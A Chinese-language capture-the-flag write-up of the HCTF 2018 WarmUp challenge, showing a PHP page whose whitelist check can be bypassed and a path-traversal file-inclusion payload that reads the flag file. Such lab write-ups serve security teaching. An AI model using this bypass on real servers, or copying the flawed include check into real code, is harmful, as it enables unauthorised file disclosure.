題目連結:https://buuoj.cn/challenges#[HCTF 2018]WarmUp
開啟環境後如下。
檢視頁面原始碼,發現存在提示 "source.php"。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
訪問 source.php 頁面如下。
提取一下出現的程式碼(此處新增了筆者註釋)。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
// 白名單
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 如果 $page 引數沒有被設定,或不是一個字串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
// 如果 $page 引數的值在白名單中
if (in_array($page, $whitelist)) {
return true;
}
// mb_substr 函式:擷取子串
// mb_strpos 函式:找到指定字元第一次出現在字串中的下標
// 新建變數 $_page,擷取掉原 $_page 中可能出現的 ? 字元
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 如果 $_page 在白名單中
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
// 檢測是否存在 $_GET['file'] 或 $_POST['file'],並且是字串,並且透過 emmm::checkFile 檢測
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
// 檔案包含
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
透過程式碼分析可以知道,網站接收一個 "file" 引數,並對該引數進行一系列檢測。同時,該程式碼中還提示了存在兩個 php 檔案,分別是 "source.php" 與 "hint.php"。
hint.php 頁面如下。
hint.php 提示了本題的 flag 是在 "ffffllllaaaagggg" 中。
Payload:?file=source.php?/../../../../../../ffffllllaaaagggg
。
以下結合 Payload 進行分析:
- 使用者傳入 file 引數,並設定為:
source.php?/../../../../../../ffffllllaaaagggg
。 empty($_REQUEST['file']
檢測透過。is_string($_REQUEST['file'])
檢測透過。- 進入到:
emmm::checkFile($_REQUEST['file'])
檢測。 - 在程式碼:
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
處,$_page
被設定為:source.php
,因此程式碼:if (in_array($_page, $whitelist))
檢測透過,執行程式碼:include $_REQUEST['file']
。 - 即,
include "source.php?/../../../../../../ffffllllaaaagggg"
,存在路徑穿越漏洞,導致實際執行程式碼:include "/../../../../../../ffffllllaaaagggg"
,包含了存放了 flag 的檔案。